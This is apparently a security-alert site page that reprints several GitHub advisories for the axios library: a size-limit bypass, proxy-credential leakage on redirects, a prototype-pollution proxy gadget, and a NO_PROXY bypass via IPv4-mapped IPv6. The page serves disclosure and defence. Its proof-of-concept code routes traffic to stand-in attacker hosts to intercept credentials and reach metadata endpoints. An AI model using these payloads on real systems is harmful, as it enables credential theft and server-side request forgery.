Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured.

This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary.

Impact

The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.

This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.

Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.

Affected Functionality

Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values.

Relevant configurations include:

- adapter: 'fetch' - adapter: ['fetch', ...] when fetch is selected - environments where neither xhr nor http is available and axios falls back to fetch - custom fetch environments configured through env.fetch

Unaffected functionality includes:

- Node.js default http adapter enforcement - versions before the fetch adapter was introduced - configurations that do not rely on finite axios size limits

Technical Details

In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit.

The fix in e5540dc added:

- maxContentLength and maxBodyLength reads in lib/adapters/fetch.js - upfront data: URL decoded-size checks - outbound body-size checks before dispatch - Content-Length response pre-checks - streaming response enforcement - fallback checks for environments without ReadableStream - regression tests in tests/unit/adapters/fetch.test.js

Proof of Concept of Attack

js import http from 'node:http'; import axios from 'axios';

const server = http.createServer((req, res) => { let received = 0;

req.on('data', chunk => { received += chunk.length; });

req.on('end', () => { res.end(JSON.stringify({ received })); }); });

await new Promise(resolve => server.listen(0, resolve)); const url = http://127.0.0.1:${server.address().port}/;

await axios.post(url, 'A'.repeat(2 1024 1024), { adapter: 'fetch', maxBodyLength: 1024 });

// Vulnerable versions succeed and the server receives 2097152 bytes. // Fixed versions reject with ERRBADREQUEST.

server.close();

Workarounds

Use the Node.js http adapter for server-side requests where finite size limits are security-relevant.

Validate or cap attacker-controlled request bodies before passing them to axios.

Reject or strictly allowlist attacker-controlled URL schemes, especially data: URLs, before calling axios.

<details> <summary>Original Report</summary>

Summary When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.

Details maxBodyLength and maxContentLength are not applied in the fetch adapter flow: - lib/adapters/fetch.js (146-160): config destructuring does not include these controls. - lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement. - lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks. By contrast, the HTTP adapter enforces both limits.

PoC Environment: - Axios main at commit f7a4ee2 - Node v24.2.0

Steps: 1. Start an HTTP server that counts received bytes and echoes {received}. 2. Send 2 MiB with: - adapter: 'fetch' - maxBodyLength: 1024 3. Request a 4 KiB data: URL with: - adapter: 'fetch' - maxContentLength: 16

Expected secure behavior: both requests rejected. Observed: - Upload: success, server received 2097152 - data: response: success, length 4096

Impact Type: DoS / resource exhaustion due to limit bypass. Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.

This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.

Impact

A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.

The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.

The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.

Affected Functionality

Affected functionality requires all of the following:

- Axios running in Node.js with the HTTP adapter. - An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables. - Redirect following enabled. - A redirect target for which no proxy applies, such as no matching HTTPSPROXY or a matching NOPROXY. - A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.

Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.

Technical Details

In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.

Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.

The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NOPROXY, different proxy targets, casing variants, and an end-to-end redirect flow.

The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.

Proof of Concept of Attack

Safe local outline using dummy credentials:

js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY;

// The local HTTP proxy receives this request and returns: // HTTP/1.1 302 Found // Location: https://attacker.test/final await axios.get('http://attacker.test/start');

Expected vulnerable behaviour:

text Proxy receives initial request: Proxy-Authorization: Basic dXNlcjpwYXNz

Final HTTPS origin receives redirected request: Proxy-Authorization: Basic dXNlcjpwYXNz

Expected fixed behaviour:

text Final HTTPS origin receives no Proxy-Authorization header.

Workarounds

Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.

Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

<details> <summary>Original Source</summary>

Summary

Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.

When an initial HTTP request is sent through an authenticated HTTPPROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.

Details

The issue occurs during a proxy-to-direct transition across redirects.

When Axios sends an initial HTTP request through an authenticated HTTPPROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.

In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.

Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.

Root Cause Analysis

Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.

In lib/adapters/http.js: - When a proxy is used, Axios adds Proxy-Authorization in setProxy(). - Axios also re-runs proxy resolution after redirects via its redirect hook. - However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.

As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.

A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.

Client Conditions - the initial HTTP request uses an authenticated HTTPPROXY - no proxy applies to the redirected HTTPS URL (for example, no HTTPSPROXY is configured) - redirects are followed - the redirect is treated as same-host by the redirect layer

Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.

Reproduction Outline

Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.

The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.

The issue was confirmed under the following conditions:

- axios 1.13.6 - follow-redirects 1.15.11 - an authenticated proxy applying to the initial HTTP request - no proxy applying to the redirected HTTPS URL - redirects enabled - an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer

Observed behavior

- The initial HTTP request is sent through the proxy and includes Proxy-Authorization. - The redirected HTTPS request is sent directly to the final origin. - The redirected HTTPS request still includes the previously generated Proxy-Authorization header. - The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.

Expected behavior

Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.

Impact

Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.

If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.

This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.

Impact

An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.

The most relevant case is a Node.js application using an authenticated HTTPPROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPSPROXY is unset.

This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.

Affected Functionality

Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.

Relevant inputs and settings include:

- HTTPPROXY, HTTPSPROXY, and NOPROXY. - Authenticated proxy URLs such as http://user:pass@proxy.example:8080. - Automatic redirect following through follow-redirects. - Axios proxy handling in setProxy(). - Redirect proxy handling through beforeRedirects.proxy.

Technical Details

In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.

If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.

The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.

Proof of Concept of Attack

js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY;

await axios.get('http://attacker.example/start');

Attacker-controlled HTTP endpoint:

http HTTP/1.1 302 Found Location: https://attacker.example/final

Expected result on affected versions:

text https://attacker.example/final receives: Proxy-Authorization: Basic dXNlcjpwYXNz

Expected result on fixed versions:

text https://attacker.example/final receives no Proxy-Authorization header

Workarounds

Set maxRedirects: 0 and handle redirects manually.

Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.

Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.

<details> <summary>Original Source</summary>

Summary Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.

This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTPPROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPSPROXY is unset or the redirect target is excluded by NOPROXY.

Details In the current implementation:

- setProxy() adds Proxy-Authorization when a proxy with credentials is in use. - On redirects, Axios re-invokes setProxy() for the redirected request. - If the redirected URL re-evaluates to "no proxy", setProxy() does not clear the previously added Proxy-Authorization header. - The redirected request therefore reuses the stale header and sends it to the final origin.

Relevant code locations:

- lib/adapters/http.js - setProxy() adds Proxy-Authorization - redirect handling re-applies proxy logic through beforeRedirects.proxy - no cleanup is performed when the recomputed redirect request no longer uses a proxy

PoC 1. The victim sends GET http://<attacker-site>/start 2. The request goes through a local authenticated corp proxy 3. The attacker-controlled HTTP endpoint returns 302 Location: https://<attacker-site>/final 4. The redirected HTTPS request no longer uses a proxy 5. The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header

Observed output:

text [corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz [attacker-http] GET /start [attacker-https] GET /final [attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.

This demonstrates that the proxy credential is exposed to the redirect target origin.

Impact Exposes authenticated proxy credentials to an attacker-controlled origin. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
SSRF
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.

The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.

Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.

Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

CVSS 3.1

Score: 9.4 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |

Why This Bypasses mergeConfig

The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:

1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set 2. defaultToConfig2 for proxy is never called 3. The merged config has no own proxy property 4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain 5. Object.prototype.proxy is found → used by setProxy()

This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:

javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', };

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } });

3. The Execution

At http.js:668-670: javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path );

setProxy() at http.js:191-239 then: javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } }

4. The Impact (Full MITM)

The attacker's proxy server receives:

http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, /

The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: - Sees every request URL, header, and body - Modifies every response (inject malicious data, change auth results) - Logs all API keys, session tokens, and passwords - Operates as an invisible proxy — the developer has no indication

5. Verified PoC Code

javascript import http from 'http'; import axios from './index.js';

// Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port;

// Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port;

// Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };

// "Safe" request — goes through attacker's proxy const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, { auth: { username: 'admin', password: 'SuperSecret123!' } });

console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)

delete Object.prototype.proxy; realServer.close(); proxyServer.close();

Verified PoC Output

[1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0

[2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }

[3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true}

[4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" }

[5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget)

Impact Analysis

- Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. - Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios. - Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.

Why This Is More Severe Than transformResponse (axios26)

| Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |

Recommended Fix

Fix 1: Use hasOwnProperty when reading security-sensitive config properties

javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location);

Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty

Properties not in defaults that are read by http.js and have security impact: - config.proxy — MITM - config.socketPath — Unix socket SSRF - config.transport — request hijack - config.lookup — DNS hijack - config.beforeRedirect — redirect manipulation - config.httpAgent / config.httpsAgent — agent injection

All should use hasOwnProperty checks.

Fix 3: Use null-prototype object for merged config

javascript // In lib/core/mergeConfig.js const config = Object.create(null);

Resources

- CWE-1321: Prototype Pollution - CWE-441: Unintended Proxy - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NOPROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.

Details lib/helpers/shouldBypassProxy.js (v1.15.0):

javascript const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NOPROXY and is not in LOOPBACKADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.

PoC javascript

// NOPROXY=127.0.0.1,localhost,::1 HTTPPROXY=http://attacker:8080 import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // All three should return true (bypass proxy). Only the first two do. console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] console.log(shouldBypassProxy('http://[::1]/')); // true [OK] console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass

Node.js routes ::ffff:7f00:1 to 127.0.0.1:

// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service // bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NOPROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. Fix Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: javascript const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i; const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; function hexToIPv4(a, b) { const hi = parseInt(a, 16), lo = parseInt(b, 16); return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff}; } const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; if (hostname[0] === '[' && hostname.at(-1) === ']') hostname = hostname.slice(1, -1); hostname = hostname.replace(/\.+$/, '').toLowerCase(); let m; if ((m = hostname.match(ipv4MappedDotted))) return m[1]; if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); return hostname; };

Impact Any application that sets NOPROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203